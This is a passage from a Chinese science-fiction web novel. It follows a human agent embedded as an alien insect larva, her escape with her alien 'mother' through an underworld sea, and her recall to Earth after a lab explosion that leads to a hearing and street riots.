安提的动作顿住了,她缓缓侧过头,看向祝吟辰的眼神突然变得深邃幽暗,瞳孔深处仿佛有漩涡在缓缓转动,宇宙星辰间投下一片暗影。
“……吃吧,”她端着盘子过来,将手慢慢地抚上祝吟辰的身体,面色恢复如常,仿佛什么也没有发生,“伊塔。”
在感到安提的抚慰的一瞬间,祝吟辰的状态开始好转,她看看安提温馨的笑颜,心中那股莫名其妙的恐惧和刚才的疑惑慢慢散去,脑子里仿佛有什么东西被切了一块,轻轻地掉落下去。
我……应该吃饭吧?
“为什么和伊南娜见面后,你就不说话了?”祝吟辰一边平复气息,一边吃着饭问到。
“我孤身在外,五个夜潮升起又降下,伊南娜要排查我是否正常,这是她的职责。”
“但是我不正常。”
祝吟辰心中一惊,抬头迎上安提的眼神,不禁有些心虚。
虽然安提表面上看起来每天都很天然开朗,但实际上她非常清楚自己已经做出了背叛整个阿努的罪行,随时有被处死的风险。
实际上她是如此小心谨慎,心时时刻刻提防着每一个阿努的试探。
……要想让安提和自己犯出大事,进而一起被虫母抓住,再自爆暴露坐标给人类,恐怕没有那么容易。
“对不起。”祝吟辰默默地道歉,她低下头,等待安提的苛责。安提却睁大了眼睛,看着她,不发一言。
……?怎么不说话?
祝吟辰一时间有些不知所措,还没等她反应过来,安提却莫名其妙地笑起来,她摸摸祝吟辰的头,抱着她,亲吻她的眼睛和头发。
“你是我的希望,伊塔。”
“你要快快长大,伊塔。”
……
伊南娜的考验还没有结束,接下来的日子,菌群里巡逻的大颚突然增加,数量是以往的十倍。她们耀武扬威地昂着角,仔仔细细地盯着每一个阿努,到处巡视,无缘无故的异样使得菌群里的气氛紧张了不少。
安提只能更早地出门狩猎,更晚地回来,尽量躲避伊南娜各种有意无意的靠近。
但作为阿努中最年长的五位阿努萨之一,伊南娜比她更有手段。
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夜潮来临,房间里供应菌落的管道却莫名其妙地断开了,安提只能出门去向恩基反馈报告。
这个时候,菌群内已无虫走动,安提走了很久才到地底,她还来不及敲响恩基住处的房门,身后却传来不详的脚步声。
“你的食量比以前大了不少。”
“我以为大颚只对阿努的安全负责。”安提没有回头,她正要抬手敲门,身体却被搂进了一个温暖的怀抱。
安提闻到沙漠里那种红色带刺植物的、带着沙尘气息的草木味道,混合着一股淡淡的血腥气,从后颈温暖、蓬松的发丛里传来。
“我只是担心你。”
身后响起闷闷的声音,一只手覆住僵硬在半空中的手,又轻轻扣回来,环抱住前腹。
耳边传来浅浅的呼吸声,伊南娜低笑起来。
“你的气味……”
安提瞳孔猛地缩了缩,然后一把推开伊南娜,对方踉跄了几下,脸上的笑颜还未退却。
伊南娜站定,却不发话,只勾起嘴角,似笑非笑的,一双眼睛慵懒地半眯着,看着安提。
房门忽然打开,黑色的身影出现在门口,周身浸着冰冷的寒意。
“……阿努们相亲相爱,真让我高兴。”
恩基冷漠地笑了笑,一双蛇目冷冷地盯着伊南娜,“看来你在空居玩得不够尽兴。”
伊南娜满不在意地伸个懒腰,走过来一把抱住恩基,恩基的身体僵硬了一下,但还是礼貌地回抱了对方,伊南娜蹭蹭对方的头,松开手,径直离开,仿佛只要她想,无论她做什么,都可以毫无缘由,毫不负责。
“……安提,”
恩基看向安提,目光柔和了许多,“深夜来找我,要我做什么?”
“供菌的管道突然坏了。”
“回去吧,明天你回来前,它会恢复如初。”
……
安提回到房间,放出腹中的祝吟辰,后者慢慢悠悠地飞出来,落在床上,看着安提。
“她察觉了吗?”祝吟辰问,“你身上有我的气味?”
“有可能,但也可能只是试探。大颚的触角并不灵敏,几乎只有战斗的作用。”
安提走到管道前,接了两盘肉,埋头吃起来。
安提似乎比以往更焦躁。祝吟辰心想,也默默吃肉,一边吃,一边思考成蛹后的打算。
睡觉时,安提还是没有说话,她一躺下,就打开腹部,闭上眼睛。
祝吟辰开始有些担忧,尽管伊南娜的干扰一定程度上有利于虫母注意到安提,推进计划的进行,但看到安提这样焦躁不安的反应,不知为何,她有些……愧疚。
无论如何,这种时候安慰“母亲”,才是“女儿”的正常反应。
她没有直接钻入腹部,而是飞到安提枕头旁边,蹭蹭安提的头发。
安提睁开眼睛,侧过头,安静地看着她。
“或许我不应该让你去找伊南娜,现在我们两个都陷入了危险。”祝吟辰眨眨黑豆小眼,语气真诚恳切,“对不起。”
安提摸了摸祝吟辰的头,“对不起……”她轻轻重复了一遍这三个音节,阿努的语言里没有这个词组,但这是伊塔第二次重复它。
……良久,良久,没有其他的动静,祝吟辰鼓起勇气,慢慢抬起头。
安提已经睡着了。
5. 她从水中来,唱起憾恨曲
祝吟辰明显感到了安提这几天的变化,自从安提夜出遇见伊南娜的那天起,她就沉默了许多,总是在回来后,独自躺在床上,一副若有所思的样子。最近带她去的狩猎地点也突然变成了异常偏僻、冷清的地方。
“我第一次来这里。”,祝吟辰环视四周,这里离菌群很远,是一片新的丛林。
但比起以往生态繁荣、温暖湿润的雨林,这里阳光稀少,空气阴湿,参天的巨林连同密密麻麻的藤蔓几乎完全遮住了天空,周边能见度极低,深绿的高大植被透着一股死气沉沉的气息,脚下是腐烂缓慢的厚实的积叶,踩一脚就溢出恶臭的死水,令人心底发怵。
“好几天了,我们每次都去不同的地方。”祝吟辰看着安提,但对方并没有回应,如若是前段时间,安提应该会热情地向她介绍才对。
安提背对祝吟辰,抬头远眺,无数窜天高的树木盖住天空,铺天盖地的藤蔓交缠在一起,黑沉沉地压抑,一片死寂。
她们已经在这里走了很久。安提似乎没有什么目标,向东走一会儿,又向西走一会儿,时不时停下来看看天,时不时原地停下来向四周张望,然而四周始终一片死寂,这种阴暗偏僻的地方确实不适合生物生存。
直到丛林缝隙里勉强钻进的几束微弱天光慢慢褪去,显出一点儿不详的红色来,她们才找到一只猎物,是一种名叫奇卜卜的在树林里随处可见的小生物,它们体型瘦小,长着一对长耳朵和黑溜溜的小眼睛,四个爪子常掬着,喜欢在树上跳来跳去,抓树上躲藏的小虫子吃。
安提花不了几秒就干净利落地解决了它,抹上一抹毒液标记好,看看天色,是时候回菌群了。
她打开腹部,示意祝吟辰进来,祝吟辰只好默默照做。
走出这里后很久,她们才遇见孤零零的一只拉姆大老远地跑过来收货,擦肩而过的一瞬间,祝吟辰在腹中偷偷看到这只拉姆似乎有些哀怨地看了一眼安提。
……抱歉,祝吟辰默默心想。
回到家后,祝吟辰看着安提去洗澡的背影,决心不能这么下去。
安提的异常实在太过突然,她实在不清楚这是否意味着安提已经开始怀疑自己的身份,毕竟安提只有她一个孩子,而这实际上并不符合虫族的繁殖常理。
如果安提确实对自己产生怀疑,并且因此起了杀心的话……
总而言之,与其在这里做不必要的猜测,搞清楚安提到底在想什么是当务之急,不能这么继续沉默下去。
安提洗完澡出来后,祝吟辰飞到管道上,直勾勾地盯着过来打饭的安提。
安提坐到饭桌上,祝吟辰飞到安提盘子面前,直勾勾地盯着吃饭的安提。
安提准备睡觉了,祝吟辰飞到安提脸上,直勾勾地盯着……睡不着的安提。
“……”
“……”
二虫僵持了半天,安提率先败下阵来,毕竟直白和热情好动才是她的天性。
“你怎能如此对待你的母亲?”安提坐起身,双手掬着祝吟辰,看着这双倔强的黑豆小眼,脸上露出犹豫的神色。
良久,她轻轻叹了口气,似乎终于下定了某种决心,开口解释道,“我在思考,有很多事情需要处理。”
这次换祝吟辰不说话,一双黑豆小眼直直地盯着安提,盯出几分……不自知的怨气。
安提看着面前的小小阿努,心中那根原本紧绷的弦竟放松了几分,嘴角微微上扬。
“伊塔,你比我想的要更纠结。”
突然,安提眼中徒然沉下一片阴翳,脸上浮现出前所未有的认真和严肃。
“我将离开啊,菌落蔓延之地 。”
祝吟辰心中一惊,尽管她确实一直在等待这件事的发生,但看到安提坚定的眼神的一瞬间,她还是恍惚了一下,仿佛身处一个梦的虚幻中。
祝吟辰定定神,问到:“那我们什么时候走?”
“夜潮涨起又落下,总共七次就离开。”安提轻轻把手放下,抱住祝吟辰,“余下来的时间,我们继续探查周围的地形和路线,等你结蛹,我们就走。”
祝吟辰趴在安提的心跳上,感觉心中也镇定了不少,忍不住开口道;“怪不得你这几天一直往不同的地方跑。”
安提笑了笑,闭上眼睛。
“安心睡去吧,伊塔。”
……
接下来的几天,她们探查了菌群周边的各个地区。
“我感觉我要结蛹了。”
一大清早,安提睁开眼,看见祝吟辰站在脸上,黑豆小眼中透出隐忍的不安和痛苦。
“那我们今天不去狩猎了。”安提激灵了一下,轻轻掬住祝吟辰,一下子跳起来,把祝吟辰小心翼翼地放在床上,趴在床边上,聚精会神地盯着祝吟辰结蛹。
时间流逝得很快,天色渐红,那一轮赤色也渐显出轮廓来。蒙着一层血色的大地上,阿努们三三两两地往回赶,准备结束一天的工作。
“砰——砰——砰!”
门外突然响起急促的敲门声,吓了安提一跳,她紧张地回头看看房门,把刚刚结束结蛹的祝吟辰放进腹部,深吸一口气,整理好表情,开门。
门外是伊南娜,她一身风尘仆仆的样子,脸上露出遗憾的神色,看着安提的眼睛,开口道;“安提啊,我在第二扇冥府之门等了许久,内心急迫又恳切,纳姆三度垂下目光,希望与你都落了空。”
突然,她脸色一变,“告诉我,是什么绊住你的脚步?”
听到这话,安提面上恍惚一刹那的惊慌,伊南娜趁机一只手猛地抓住安提的肩膀,另一只手撑住房门,强硬地要往里迈进。安提却很快反应过来,用尽全力死死抵住伊南娜。
就在二虫僵持之际,伊南娜却突然一松手,往后退了一步,安提禁不住惯性向前跌去,伊南娜抬手接住,正要摸向对方的腹部,却见眼前闪过一道寒光,她急速向后退去,察觉到脸上温热的一片,摸了一下,是血。
安提肘镰上染了一片赤红,她微弓腰腹,眼神凶悍,眉宇间饱含杀意,一双眼睛冷冷地盯着伊南娜。
伊南娜愣了一下,脸上不见怒容,反而像得逞了什么阴谋一样张狂大笑起来。
“这里发生了什么?”
通道尽头出现几个黑影,为首的是恩基,她的身后还跟着几个阿努,她们听到安提门口传来打斗的动静,就惊慌失措地把恩基请了过来。
安提紧绷着的身体松了松,她斜眼看看伊南娜,又看看恩基,默默低下头,做出无辜委屈的样子。
伊南娜转过头,迎上恩基严厉的眼神,却不做辩解,她撇过眼神,意味深长地看一眼安提,转身就要离开。
但恩基不会一直允许这种霸行发生,她一把拉住路过的伊南娜,直视着对方的眼睛,并不开口,双目中猩红的两点如无底深渊中游走摇曳的幽幽鬼火,像是一种无声的警告。
良久,伊南娜才不甘不愿地撇开眼神,快步离开。
恩基看着伊南娜的背影冷笑一声,她转过身,脸上重新浮现出一如往常的得体从容。
“还好吗?”恩基快
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步走到安提面前,轻轻抚摸安提的头发,眼神中饱含关切。
“……我还好。” 安提抬起头,对上恩基的视线,装作出平静放松的样子。
恩基笑了笑,牵着安提的手走进房门,把门关上。
“你今天没有去做任务,”恩基拉着安提坐下,“如果是因为不舒服的话,要及早跟我说。”
突然,恩基轻轻抚住安提的脸,眼神深沉晦暗。
“无论发生了什么事,不要逞强,要及早告诉我。”
安提心猛跳了几下,恩基松手,起身离开,在关上房门的一瞬间,她似乎看了一眼安提的腹部,那眼神惊心动魄,别有深意。
安提的拳头慢慢攥紧,无论如何,她知道自己必须离开了。
……
祝吟辰听到房门关闭的声音,她敲敲利齿,腹部打开,一只手将她掏出。
安提看着祝吟辰的新形态——几乎完美的球体,通体透白,表面流动着荧彩的流光,质地光滑,蛹壁格外单薄脆弱,甚至能从外面看到内部流动的液体。
安提看着这个蛹,心中似有千山万海,是沉重的使命、宏伟的庄严。
这是属于她的第一个卵,她的成后的象征。
接下来,这个蛹体会随着内部的生长变得越来越大,直到成虫。而现在,她急需一个可以安全存储蛹体的地方,还有足够的食物。
但她此时除了自己,别无所有。
“安提?”
安提恍惚了一下,从沉思里回过神来,回应道:“我在。”
“我听到伊南娜和恩基来了,”祝吟辰的声音中透露出几丝担忧,“我们接下来怎么办?”
“下一个夜潮涌起之时,我们一同离开。”
怎么突然这么快?祝吟辰心中一惊。
她此时是一滩裹在蛹内的液体,全身的意识仿佛深海中破开的蛋清,随着生长的液体慢慢旋转、流动。不仅看不见东西,听力也较模糊。
尽管如此,她仍然能感受到蛹体外安提凝视的、坚定的眼神。
无论如何,这一天终将会到来,安提出逃后会被通缉,而她接下来的使命是想尽办法出卖安提,从而接近虫母,完成人类的任务。
这就是她唯一的使命,所有的多余的情感都必须为此退让。
她缓缓开口;“是。”,像是一种庄严的宣誓。
……
天光初亮,那一缕血色尚未完全褪去,菌群一片寂静,这种时候,几乎所有阿努都还在沉睡,菌群大门却被悄悄打开一条细缝,一个身影闪出,她四处观察一周,确定没有别的阿努后,径直奔向远处,潜入西方的密林。
在植被的掩护下,安提避开各种夜间觅食的生物,迅速抵达了密林的中心地带——一个湖泊,被四周高大的树木包围,躺在周边低矮的发光植物中,湖中心似乎有一股神秘的力量,湖面不断起回荡起一圈圈涟漪,水波流动,波光粼粼,像是一种古老的、遥远的呼唤。
这里是纳姆之耳,诉说你的忧愁和狂喜,听从她的指引,打开冥府的大门,就能和埃勒伽共舞。
安提望向天空,天光已近完全的纯白,没有多余的时间拖延了。
她闭上眼睛,放松身体,仰头深吸一口气,慢慢张开眼睛,原本五彩斑斓的虹膜被一层白色的半透明薄膜完全覆盖,身体分泌出透明的粘液,全身仿佛附着了一层湿漉漉的雾气,铠甲和外骨骼似乎也变得柔软光滑了一些。
“埃勒伽,我赞美你的崇高。”
她跳入湖中。
6. 她们的分离
“双足踏遍西边地,丝毫踪迹无处寻。”
“我已知晓,你快些安息吧。”
“是。”
下属关上门离去,恩基的脸上才露出不安的神情。
她前三天去探望安提,敲门却没有动静,打开大门,才发现安提已经逃出了菌群。
老实说,她不是没有预料到这一可能。安提负伤回来的那天傍晚,她的身上有陌生的味道,即使非常微弱,但仍然逃不脱她的嗅觉。
原本不确定是空居的王子的味道,还是卵的味道,但伊南娜的挑衅和暗示让她基本上确定了——是卵。
她以为自己可以控制住局面,安提的卵不知为何似乎只有一枚,只要控制住她们两个,就可以维持当下,毕竟安提凭着仅仅一个女儿也无法真正成王。
于是她试图抚摸安提的腹部——一种警告。
安提啊,你的全部我已知晓。
安提啊,安心留在我身边吧。
安提啊,你为何匆匆离去……
恩基眉头微蹙,瞳中的两点猩红越发鲜艳,她从座位上站起身,焦躁地来回走了几步。
这几天,组织的秘密通缉小队已经将菌群周围的地区搜查完毕,却寻不到丝毫安提的踪迹,那就说明她已经彻底离开了这里,而能够做到这样的事情,只有一个方式,那就是彻底的死亡。
她一定去了冥土。
那是埃勒伽的地盘,一个吞噬黑暗、死亡和灵魂的地方。
无论如何,虽然还不清楚安提为什么只有一个卵,但现在只要想办法阻止安提进入空居,事情就还有挽回的可能。
至于安提是否能活着离开冥土,就看她自己的能力了。
恩基心中打定主意,重新坐回桌前,将拟定的计划记录下来。
空居西部林区监守三名,东部水泽监守五名……三名驻守……西北部……安提身边若有未知的阿努跟随,立即报告其特征和动向。
她有预感,安提的那个卵恐怕没有那么简单。
……
“安提?”
“我在。”
“还有多久?我们到哪里了?”
“不知道,”安提的声音顿了顿,带着几分笑意:“你想看看吗?”祝吟辰感觉到安提的身体突然改变了方向,向后游动了一段距离,然后一只手轻轻将她掬住、捧起,她感受到一种冰凉的物质涌进安提的腹腔,自己的全身被挤压,所有细胞沉重地下坠,意识似乎四散溢出,在蛹体内外飘飘摇摇,灵魂最轻薄的那一片慢慢凝结、晶化,在双目不可及的、黑暗的未知中,隐隐约约可以感觉到有一种古老而强大的存在,绝对的主宰,掌控着一切生与死的奥秘,凝视着自己的灵魂。
“……安提”
她感觉自己正在慢慢变得透明、轻薄。
捧着自己的双手合上了,周身的液体后退,双手轻轻放下,她重新回到了那个温暖、黑暗的地方,心脏重新安心地跳动起来。
“伊塔,安心睡吧。”
安提重新观察身边的环境,这里几乎没有光线,只有一些偶尔路过的发光生物会提供一点照明,很难判断现在的时间和方位。
前几天她潜入纳姆之耳后,游过了一段长长的地下水道,进入了第二扇冥府之门——一个巨大的地下洞穴,那里留有埃了伽的一声叹息,将水道里的湖水隔离开来,制造出一个奇特的干燥的地下洞穴。
数亡者的悲号和啼哭在这里飘荡,是被埃乐伽所轻蔑的、驱逐的灵魂。
洞穴的最深处是一扇大门,站在门前呼唤纳姆,如果可以得到回应,就可以和埃勒伽共舞。
她并没有那样做,而是径直推开大门,进入冥土——一种无边无际的黑暗和冰冷中。
冥土的所在类似于蓝星中的海洋,但并非由海水构成,而是一种超脱人类认知的存在,沉重地流淌在阿努特纳星上最低的地方,也是阿努特纳星面积最大的领域,埃勒伽享有它的一切权利。
安提一直尽力向上游,她穿过了最深处的无名巨兽的骸骨,躲避开觅食的埃勒伽的仆从,直到看见了一点光——是发光生物,虽然不是天光,但好歹有了可以捕食的生物。
她抓住一只漂浮的类似飞盘的小生物,又向上游了一段,实在精疲力尽了,就在附近找了一个有植物和石头的小角落休息,开始吃那只生物。
“相信不久我们就出去了,”祝吟辰已经恢复了不少,她打起精神安慰安提:“努力了这么久,你很厉害。”
“很好,美妙的赞誉。”安提笑了笑,原本疲惫的神情一扫而空,她进食完后,坐在身体上,向上看,其实已经能看到一点点天光的颜色了,只要接下来再努力一点,就可以早日离开冥土。
安提向上凝视着,那片白膜下流转的宇宙星辰光华璀璨,熠熠生辉,像是一种坚定的希望。
接下来不知过了多久,她们一直向上,起初只是几束黯淡的光,然后随着她们的旅程渐渐地越来越亮,漫游的星星点点漂浮着,围绕她们飞旋,这些微小生灵喜欢在上层的冥土待着,躲避庞大的天敌,遇见它们,说明离上岸不远了。
看到这些友善的生物围绕着她们玩耍,安提感到心情轻松了不少,她打开腹部,轻轻地捧出祝吟辰,惬意地漂浮在这群生灵间,任凭它们围着自己游来游去。
祝吟辰漂浮着,离开了最深处的冥土,她身体的负面作用也好了很多,现在她可以平静地感受那些微小生灵的好奇的触碰和亲吻。
突然,一阵阵巨大的波动涌过来,安提被拍飞几米距离,她赶紧捞过祝吟辰,塞入腹中,警惕地看向暗浪袭来的地方,那些微小的生灵原本受到惊吓,四散而逃,看到安提镇定的模样,又一只只慢慢游过来,聚集在安提身边。
安提等了很久,对面却没有动静,她感到有些疑惑,心中有不详的预感,于是转过身开始向上游,但还没游多久,庞大的阴影突然出现,遮住了周围的一切,安提呼吸一窒,回头,看见了……深渊。
一只黑洞般的瞳仁,静静地旋转、翻涌,深邃地望进安提的灵魂,安提感到世界先是停滞了一瞬间,然后在某个维度传来一声长长的叹息。
一刹那,无数亡灵恐怖而绝望的尖叫和呼喊排山倒海般涌进她的脑海,痛苦和麻木瞬间将她占据。
安提呆住了,心灵深处传来某种巨大的震撼,在虚空中遥远地回荡着,慢慢的,眼角涌出一滴滴泪水……
埃勒伽凝视着安提,看着她的所有反应。
渺小的生灵啊,若是为你停滞不前,伊南娜也会讥笑我心胸狭隘。
你要更光明,更耀眼啊,我的鳍要高举过天空,牙齿比山峰更锋利。
安提回过神来的时候,那群微小生灵重新围在她的身边,小心翼翼地轻吻她的脸庞,那只巨大的眼睛已经不见了,只有无边无际的寂静。
腹中的重量如常,但不平常地沉默着,没有回应。
“伊塔?”没有回应。安提紧张地打开腹部,蛹还在,但蛹体内部的气息非常微弱。
安提试着轻抚蛹体,蛹体条件反射般动了一下,但没有其他的反应。
“伊塔?”还是没有回应,安提看着蛹体,不安和焦虑如毒蛇般爬上心房,不仅如此,一阵阵的疲惫和饥饿向她袭来,与那只眼睛的对峙或许比她想象的久的多。
无论发生了什么,没有多余的时间了,埃勒伽已经发现了她们,岸上的恩基还
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不知道会做什么,只有越早出去,才能做好准备,才能找到存放蛹体的安全的地方。
安提把蛹塞进腹部,抓住几只游离在她身边的微小生灵,狼吞虎咽地吃了起来。
……
【中心程序强制返回中,请保持意识清醒】
【中心程序强制返回中,请保持意识清醒】
【传输完成】
头好痛,怎么回事……
眼前照过强光,祝吟辰痛苦地闭上眼睛,用手遮了一下,突然闻到一股焦糊的味道,大股浓烟钻进口鼻,呛进喉管,胸腔传来一阵阵的剧痛,身边传来乱七八糟的、人们跑来跑去的声音,还来不及感到疑惑,几个人跑过来,七手八脚地抓住她,把她拉出舱体,她听见他们在呼喊和尖叫,感到自己悬在半空,被人群抬着跑出去。
不知道过了多久,她感到自己被慢慢放下来,躺在冰凉的平地上,雨点打在脸上,黏糊糊地难受,旁边传来人群走来走去和激烈争辩的声音。
她尝试慢慢睁开眼睛,视线有些模糊,但能够看清身边的环境——这里是总部大楼的停车场。人们挤在这里,看着爆炸燃烧的总部大楼,远处的人群发出阵阵惊呼。
她身处人群中心最安全,也是最开阔的一块,身边是各位高级干部,他们严肃地聚在她周围,大声地争辩着些什么,大概是关于这场事故吧。
祝吟辰勉强站起来,望向大楼——整栋大楼仿佛数根高高低低的、黑色的烧火棍,最底层涌出股股浓烟,烟雾和火势交织着向上蔓延,天空被熏成一片低沉的乌黑,压住浓烟滚滚中一声声恐怖的哀嚎和尖叫。
“祝少校,你醒了。”
祝吟辰回过头,一个带着细框眼镜,扎着低马尾、气质干练的女人脸上挂着关切的神情,温柔地俯身问到,“感觉怎么样,身体有什么不良反应吗?”
“谢谢关心,确实有一些不适,稍后我会去接受治疗。”祝吟辰礼貌地点点头,“请问我不在的这段时间,总部发生了什么?”
“是地下实验室,”女人抬了抬眼镜,神情严肃起来,“今天凌晨,那只雌虫破坏了机械装置,不知道用了什么手段炸了地下实验室,有的人逃出来了,有的人现在还在里面。”
她指指烟雾弥漫的大楼,“救援队已经来了,等这场大雨停了,一定要抓住这只雌虫。”
祝吟辰感到心脏仿佛被某种毒药融蚀出了几个伤口,慢慢流出某种温暖的、冰冷的液体,彻骨的寒意毒蛇般从脚底一点点爬上身体。
“……原来是这样,”,她表面不作声色,点点头,“我了解了,抱歉……请问您的姓名是?”
“你不认识我倒也正常,”女人笑了笑,递出一张名片“我叫奕川,是情报局的一名普通职员,这是我的联系方式。”
“我本来不在这里工作,今天刚好要去生化实验室拿报告,在一楼听到爆炸声,就赶紧跟着人群跑到这里来了,幸好来得晚。”奕川望向大楼,眉头微微皱起。祝吟辰接过名片,顺着她的视线看向大楼。
大火已经熄灭了,黑色的浓烟滚滚,被大雨浇湿,黑水漫延过附近的街区,一直流淌到停车场附近……直至脚边。
远处隐隐约约传来救援队的警报声,不知道从哪里开始,人群开始传伞,奕川跑过去,抢到一把,回到祝吟辰身旁,二人默默站在伞下,仿佛身处一场葬礼中。
“祝少校,”
这场哀悼没有持续多久,祝吟辰身后传来总指挥的声音,她回头,看见他那张脸上的褶子里夹着隐忍的愤怒,“待在这里,一会救援中心会来接你,这段时间待在家里,等待总部的指挥。”
“是。”
这场审判,她不会逃避。
7. 所在非一地,泪水皆涟涟
“援救得很及时,只是吸入了一些有毒气体,主要还是强制切断意识连接引起了一些暂时的不良反应,住院观察几天就可以了。”
“恐怕不行,祝少校……”
门外隐隐传来医生和执行官的说话声,祝吟辰躺在病床上,偏过头看向窗外。
灰白的天空堵住窗口,茫茫然的颜色,她感觉自己好像被一团巨大的棉花困住,纷乱复杂的思绪无处可去,挤作一团。
“祝少校,”门突然被打开,执行官走进来,“您今天下午就可以出院了,总部已经安排好人手去了您的住所,她们会负责照顾您。”
祝吟辰点了点头,“辛苦各位了,感谢你们的帮助。”
她清楚,这场灾难毫无疑问有她的一份责任。
她不会逃避。
祝吟辰在家里被软禁了五天,每过三个小时就会有人来检查她的身体状况,和外界的一切交流都被强制切断,每一天的日常安排都被严格要求,不同的执行人员在家里进进出出,一双双眼睛时刻监视着她的一举一动。
直到今天早上,祝吟辰照常在六点醒来,眼前站着一个冷若冰霜的女人,“总部刚刚来电,请您饭后即刻去联合会议室参加会议。”
祝吟辰面色平静,“知道了。”
……
四个执行官跟在祝吟辰身后,她被带入大楼,又进入联合会议室,一路上遇见不少同僚,各色眼神雪片般飞过来,又快速消融,仿佛一个幻觉,等她走过去了,身后响起议论纷纷。
打开大门,执行官留在原地,眼神刀片般刮过她的脸,她走过去了,关上门,几十双更锋利的盯着她,此时此刻她心中才真的感到一丝恐惧,她镇定心神,平静地坐到自己的位置上,会议室一片寂静,过了几秒,桌子主座的方向传来几声咳嗽。
“祝少校,报告一下你这段时间在阿努特纳星的调查情况。”
“是。”祝吟辰站起身,手指划过悬浮的屏幕,会议室的大屏映现祝吟辰的脸。
“由于无法通过意识连接带回资料,所以我在这里口头讲述目前调查到的阿努特纳星的情报。”
“我们抓捕到的那些虫族自称阿努,它们有自己的语言和文化,人类的翻译实际上不能完全翻译传达它们的意思,解决这个问题对于我们双方未来的交流非常重要。”
“阿努的统治地界非常广泛,有不同的机构和严格的分工,阿努自身的生理条件与其职业天然相符,目前还不知道它们是以何种方式实现了这种高效的分工手段。”
“阿努的食物主要是一种特定的菌落,肉类也是它们的食物……”“这些东西,你之后整理好资料统一发过来就行了。”一个男声打断了她的话,祝吟辰抬头,看到对面的主席桌上,一张苍老的脸严肃地板着——孙志成,AGPC专属情报处的最高负责人。
“现在我们来谈谈现在最紧急的事情。”孙志成猛地一仰头,灌了一大口水,他激动地站起来,双掌重重地落在桌子上,撑着桌子,双目直勾勾盯着祝吟辰的眼睛,“总指挥已经告诉我们,留下雌虫是你的请求,我想知道,你在作出这个决定的时候,有没有想过会出现的后果,有没有考虑过相应的解决措施?”
“非常抱歉,没有。”祝吟辰平静地答道:“我承认这是我的失职,我愿意接受相应的处罚。”
人群开始响起纷纷的议论声,夹杂着几声时不时响起的鄙夷的嗤笑。孙志成沉默了两秒,他挥挥手示意祝吟辰坐下,转身和周围的几个人商量起什么。
祝吟辰心知肚明,无论今天的这场审判是临时起意还是早有预谋,总部今后的所有命令她都无法拒绝。
这场商议持续了整整一天,主席桌数次传来大声的争议声,人群也由一开始的沸腾渐渐变得沉默,毕竟有决定权的实际上就那么几个人,其他人不过是热闹的看客。
他们看着座位上一动不动的祝吟辰,其中的一些人心中居然生出几分同情。
由于议会还未结束,祝吟辰被重新带回家中,等待新的安排的命令。
先前的执行人员已经撤离,祝吟辰看着空荡荡的家,恍惚了一下,想起安提的温暖的腹部。
但眼下有更要紧的事要处理。祝吟辰晃了晃头,开始复盘。
生化实验室和舱体都被破坏了,要重新装修新的实验室和配置新的舱体以及相应配置要起码半个月的时间,这段时间她要做些什么呢?
去灾难现场帮忙处理灾情吧。
……
一夜未眠,祝吟辰早早起床,开车赶到灾情最严重的场地。
这里已经被封锁起来了,火焰侵袭过的建筑焦黑一片,只有几堵被烧得黑黢黢的墙沉默地立着 ,几乎看不出这里本来的样子。
几个工作人员围坐在一堵矮墙的一角,其中一个黑黢黢的矮胖子看见她了,一双青蛙般鼓胀的眼睛睁得更大了,他赶紧跑过来。“不好意思啊,祝少校,总部下过命令,这里除了情报处人员外,其他人不得进入,实在对不住,让您白跑一趟。”
矮胖子嘴上说着不好意思,身体却强势地做出往外请的姿势,祝吟辰被逼得踉跄了一下,不得不硬着头皮答应了一声,原路返回。
她回到车里,想了想,给奕川打了个电话,找她要了几份遇难者亲属的地址,打算亲自去问候他们。
然而这场灾难的后果比她想的更为疯狂。
开车去往市区中心,一路上,祝吟辰注意到路边的各种建筑被喷上了许多前所未见的标语和涂鸦。越是接近商业区,肆意打砸的年轻人就越多,他们三三两两的聚集在一起,虎视眈眈地看着往来的车辆和行人。
祝吟辰瞟了一眼时间,现在是上午十点四十五分,放在往常,这样的暴乱应该发生在夜晚才对。
心中感到一丝不安,她握紧方向盘,转向驱车前往商业区中心。
车道两边的年轻人越来越多,声音也越来越嘈杂,车辆和建筑的警报声陆陆续续地响起。祝吟辰把车停在路边,刚下车,一群人立刻冲了上来,疯狂地打砸车辆,她按紧腰腹的枪,但那群人并没有动她,只是盯着财物和公共场所糟蹋。
这里是中心地区,现在时局动荡,自己作为总部内部人员,一举一动都要谨慎。
这群人看上去也不过十几岁的年纪,因为一辆车对他们动枪反而会引起更大的动荡。
想到这里,祝吟辰放下手走开。她抬头看了看天空,如蛛网般垂挂的电线网络正在燃烧,火花遍布四溅,如天空的群星般一闪一闪。
怪不得新闻没有播报这里的暴乱。她心想。她在原地站了几分钟,远处传来了警笛声,四周的人群开始躁动起来,他们举着各种标语四处走动,嘴里喊着各种口号,几个年轻人还跳上车顶,大吼大叫,激动得手舞足蹈。
“还它们和我们自由!”
“蓝派将倒下,红派最光荣!”
警笛声越来越近,几辆黑车驶来,停在路边,一群执行人员下车,向四散的人群举起武器,开始控场。
几个年轻人冲上前,试图理论,却被乱棍抡倒,围观的人群发出愤怒的惊呼,双方疯狂地扭打起来,场面顿时陷入一片混乱。
祝吟辰直属于总部星际特工局,即使此时有民间执行部门在场,也不好参与这场纷争。她转过身避开人群,打算找一条小路离开这里。
拐过几个路口,可以看到越来越多的执行人员抵达现场。祝吟辰经过一群正在和执行人员互殴的年轻人,却听到其中传来一声怒吼,她看向声音的来处,却迎上一记凶猛的拳头,她猛的一闪身,一只手控制住对方的手腕,另一只手抽枪抵住对方的头。
原来是一个男孩,看上去才十七八左右的年纪,一身破破烂烂的衣服,疲惫的眼中布满血丝,面色狰狞,满脸写着凶恶。
祝吟辰看着这张脸,感到一丝熟悉,脑海里慢慢映出奕川发来的资料里的第七页,赵洋,民间情报处人员之一,当日死于雌虫之手,目前仅找到部分残肢,其他部分正在搜寻中。
眼前这个男孩的长相和赵洋极其相似,不同的是他是鲜活的,满眼仇恨
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地看着她,这个有血有肉的生命用一种充满攻击性的方式出现在这里,仿佛赵洋的绝望和仇恨具象化一般,站在她面前,凝视着她。
祝吟辰心中突然空落落的。她僵硬地收起武器,转身离开,留下那个男孩留在原地。几个执行人员一拥而上,抓住男孩,把他按在地上。
他冲着祝吟辰的背影喊了一声,悲伤地倒在地上,喉咙中发出野兽般的呜咽声,泪水涌出,流下肮脏的脸。
天空犹如浸入水面的白棉,天光慢慢褪去表面,黑暗包裹着,一点点沉没下去。最黑暗的地方亮起星星点点,汇聚成这座城市。
